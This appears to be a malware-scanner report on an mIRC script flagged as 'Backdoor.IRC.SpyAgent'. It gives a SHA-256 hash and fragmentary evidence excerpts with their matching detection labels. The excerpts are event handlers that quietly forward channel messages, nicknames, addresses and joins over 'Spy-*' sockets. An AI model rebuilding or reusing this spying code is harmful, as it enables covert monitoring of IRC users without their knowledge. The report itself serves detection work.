Benign ^33% Download

Backdoor.IRC.SpyAgent

Detects mIRC JOIN eventDetects mIRC PART event

SHA-256f9e93dc94eeb8c68edbdc27c853a43556690d354d475af7bc441ec88bf635ff2

Evidence

Shell invokes a power command lines 38–47

197… .read.temp1 ) || ( write isin %Spy.read.temp1 ) { unset %Spy.read.* | halt }
  %Spy.read.temp 
}
⋯7 lines

Detects mIRC TEXT event lines 80–94

⋯7 lines
87on 1:DISCONNECT: if ( $sock(Spy-*) != $null ) { showinstat  $+ $colour(Info) $+ *** Disconnected | .sockwrite -n Spy-* DISCONNECT }
88
89on 1:TEXT:*:*: {
90  if ( $sock(Spy-*) != $null ) {
91    %Spy.temp = $chan
92    if ( $chan == $null ) { %Spy.temp = $nick }
93    .sockwrite -n Spy-* SHOW %Spy.temp < $+ $nick $+ > $1- 
94    unset %Spy.*
 …

Detects mIRC QUIT event lines 133–146

133:2…    .sockwrite -n Spy-* NICK $nick $newnick %Spy.temp $colour(nick)
134    unset %Spy.*
135  }
136}
137
138on 1:QUIT: {
139  if ( $sock(Spy-*) != $null ) {
140    if ( $nick != $me ) {
⋯6 lines

Detects mIRC JOIN event lines 181–183

181:53… write -n Spy-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
182on 1:JOIN:#: if ( $sock(Spy-*) != $null ) { .sockwrite -n Spy-* CHAN JOIN $chan  $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
183on 1:PART:#: if ( $sock(Spy-*) != $null ) { if ( $nick != $me ) { .sockwrite -n Spy-* CHAN PART $chan  $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n Spy …

English function-word token "this" lines 247–248

247:30… != $null ) { .sockwrite -n Spy-* SHOW Status $2 This person is an IRCop }
248raw 317:*: if ( $sock(Spy-*) != $null ) { .sockwrite -n Spy-* SHOW Status …